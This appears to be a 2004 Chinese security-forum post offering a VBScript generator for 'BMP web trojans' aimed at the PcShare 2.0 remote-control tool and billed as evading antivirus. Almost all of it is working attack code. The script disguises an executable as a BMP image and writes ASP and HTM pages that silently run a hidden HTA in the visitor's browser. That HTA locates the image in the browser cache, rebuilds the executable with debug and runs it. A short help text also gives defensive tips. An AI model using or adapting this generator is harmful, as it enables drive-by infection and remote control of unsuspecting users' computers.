20CN网络安全小组论坛 - 原创软件 - 网页木马2004forPCcshare2.0生成器防查杀版

论坛: 原创软件标题: 网页木马2004forPCcshare2.0生成器防查杀版

作者: aosi2003 [aosi2003]

论坛用户

声明网上收集请看里面说明急版权专为pcshare2.0 整理以加强其强大的功能

把下面的代码复制到记事本然后另存为pcshare.wsf 即可

<package>
<job id="chin_02">
<?job error="True" debug="False"?>
<script language="VBScript">
Set ws=CreateObject("Wscript.Shell")
Set args=Wscript.Arguments
If args.Count=0 Then
tl="BMP Trojan Maker 2.0"
menu="使用说明:"&vbCrlf&" 1.此脚本支持两种方式来生成BMP木马:(1)把EXE文件直接拖拽到此脚本文件上;(2)直接运行此脚本,将会出现一个对话框,填入EXE的路径。然后在此脚本文件目录下生成和EXE文件同名的BMP、ASP、HTM三个文件(特别说明:此脚本支持多文件拖拽，适合批量生成网页木马。)"&vbCrLf&" 2.把这三个文件上传到同一网页目录下,HTM文件为网页木马主文件。"&vbCrLf&"是否要查看有关BMP木马的教程?"
jc1="木马帝国-http://www.mmbest.com/ Code By chin 01-11-2004 11:26 PM"&vbCrLf&"说明:"&vbCrlf&" 这不是什么新的东西,但最近有人说我们木马帝国没有,还有人说木马帝国的没有藏鲸阁的陈经韬用Delphi写的exe2bmp.exe好,那我就写了这个WSH脚本,大家自己试验一下。以下是关于BMP网页木马的介绍..."
jc2="何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个exe文件用MIME编码为一个eml(Out Look信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行..."
jc3="然而BMP木马就不同,它把一个exe文件伪装成一个BMP图片,欺骗IE自动下载,再利用网页中的VBScript脚本查找客户端的Internet临时文件夹,找到下载的BMP图片,把它拷贝到temp目录,再把这个图片用debug还原成exe文件,并直接运行..."
jc4="防范方法:"&vbCrLf&" 删除或改名wscrpit.exe文件和debug文件;"&vbCrLf&" 安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了;"&vbCrLf&" 安装微软的最新补丁,尽量避免去一些不名来历的网站和个人网站。"
m=msgbox(menu,68,tl)
If m=vbYes Then
msgbox jc1,64,tl
msgbox jc2,64,tl
msgbox jc3,64,tl
msgbox jc4,64,tl
End If
n=msgbox("是否要弹出对话框来生成BMP木马?",68,tl)
If n=vbYes Then
p=inputbox("请输入exe文件的路径:",tl)
If p=vbCancle Then
Wscript.Quit
Else
Main(p)
End If
Else
ws.Popup "请把EXE文件直接拖拽到此脚本文件上...",2,tl,64
End If
End If
Set fs=CreateObject("Scripting.FileSystemObject")
For i=0 to args.Count-1
fp=args(i)
Set f=fs.GetFile(fp)
bn=fs.GetBaseName(fp)
cfld=fs.GetParentFolderName(Wscript.ScriptFullName)&"\"
s=f.Size
lt=Chr(60)
gt=Chr(62)
quot=Chr(34)
Main(fp)
Next

Sub Main(arg)
CreateBMP(arg)
CreateASP(arg)
CreateHTM(arg)
End Sub

Sub CreateBMP(p)
bntmp=cfld&bn&".tmp"
bnbm_=cfld&bn&".bm_"
bnbmp=cfld&bn&".bmp"
bmphd="E100 42 4D "&Mid(DW(s+54),1,2)&" "&Mid(DW(s+54),3,2)&" "&Mid(DW(s+54),5,2)&" "&Mid(DW(s+54),7,2)&" 00 00 00 00 36 00 00 00 28 00"&vbCrLf&"E110 00 00 80 00 00 00 40 00 00 00 01 00 08 00 00 00"&vbCrLf&"E120 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00"&vbCrLf&"E130 00 00 00 00 00 00"&vbCrLf&"rcx"&vbCrLf&"36"&vbCrLf&"n "&bnbm_&vbCrLf&"w"&vbCrLf&"q"&vbCrLf
Set a=fs.CreateTextFile(bntmp,1)
a.Write bmphd
a.Close
Do
If fs.FileExists(bntmp)=True Then
On Error Resume Next
ws.Run "COMMAND.COM /C DEBUG.EXE<"&bntmp,0,1
ws.Run "COMMAND.COM /C COPY /B "&bnbm_&" + "&p&" "&bnbmp,0,1
ws.Run "CMD.EXE /C DEBUG.EXE<"&bntmp,0,1
ws.Run "CMD.EXE /C COPY /B "&bnbm_&" + "&p&" "&bnbmp,0,1
On Error GoTo 0
fs.GetFile(bntmp).Delete
fs.GetFile(bnbm_).Delete
Exit Do
End If
Loop
End Sub

Sub CreateASP(p)
bnasp=cfld&bn&".asp"
sect2="sch"&Chr(32)&Chr(34)&bn&"[1].bmp"&Chr(34)&",vDir"&vbCrlf
Set b=fs.CreateTextFile(bnasp,1)
b.Write GetResource("sect1")
b.Write sect2
b.Write GetResource("sect3")
b.Write GetResource("sect4")
b.Write GetResource("sect5")
b.Close
End Sub

Sub CreateHTM(p)
bnhtm=cfld&bn&".htm"
Set c=fs.CreateTextFile(bnhtm,1)
c.Write lt&"html">&vbCrlf<&"head">&vbCrlf<&"/head">&vbCrlf<&"body">&vbCrlf<&"img src=""&bn&".bmp""&" width=""&"0""&" height=""&"0"">&vbCrlf<&"object data=""&bn&".asp""&" width=""&"0""&" height=""&"0""><&"/object">&vbCrlf<&"/body">&vbCrlf<&"/html">&vbCrlf
c.Close
End Sub

Function DW(g)
gh=Hex(g)
init=string(8-Len(gh),"0")&gh
init=Right(Right(init,4),2)&Left(Right(init,4),2)&Right(Left(init,4),2)&Left(Left(init,4),2)
DW=init
End Function
</script>
<resource id="sect1">
<%Response.ContentType="Application/Hta"%><hta:application height="0" width="0" caption="no" border="none" showintaskbar="no"><html>
<head>
<script language="JavaScript">

</script>
<script language="VBScript">
'Code By chin ,http://www.mmbest.com/ tmd@1123.com.cn
Set ws=CreateObject("Wscript.Shell")
Set fs=CreateObject("Scripting.FileSystemObject")
vDir=ws.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache")
</resource>
<resource id="sect3">
Sub sch(d,s)
Set fd=fs.GetFolder(s)
Set sf=fd.SubFolders
p=s&"\"&d
If InStr(1,p,"\\",1)<>0 Then
p=Replace(p,"\\","\")
End If
If fs.FileExists(p)=True Then
path=p
run(path)
End If
If sf.Count<>0 Then
For Each f In sf
sch d,f
Next
End If
End Sub
</resource>
<resource id="sect4">
Sub run(d)
tmp=fs.GetSpecialFolder(2)&"\"
ex=Left(tmp&fs.GetBaseName(d),Len(tmp&fs.GetBaseName(d))-3)
fs.GetFile(d).Copy(ex&".dat")
Set mf=fs.CreateTextFile(ex&".mdf",1)
mf.WriteLine "n "&ex&".ex_"
mf.WriteLine "w 136"
mf.WriteLine "q"
mf.Close
Set mf=fs.CreateTextFile(ex&".bat",1)
mf.WriteLine "@each off"
mf.WriteLine "debug "&ex&".dat"&Chr(32)&Chr(60)&Chr(32)&ex&".mdf"
mf.WriteLine "copy "&ex&".ex_"&" "&ex&"s.exe"
mf.WriteLine ex&"s.exe"
mf.WriteLine "del "&ex&".*"
mf.Close
ws.Run ex&".bat",0,1
End Sub
</resource>
<resource id="sect5">
window.close
</script>
</head>
<body>
</body>
</html>
</resource>
</job>
</package>

[此贴被 aosi2003(aosi2003) 在 01月30日19时34分编辑过]

地主发表时间: 04-01-29 14:25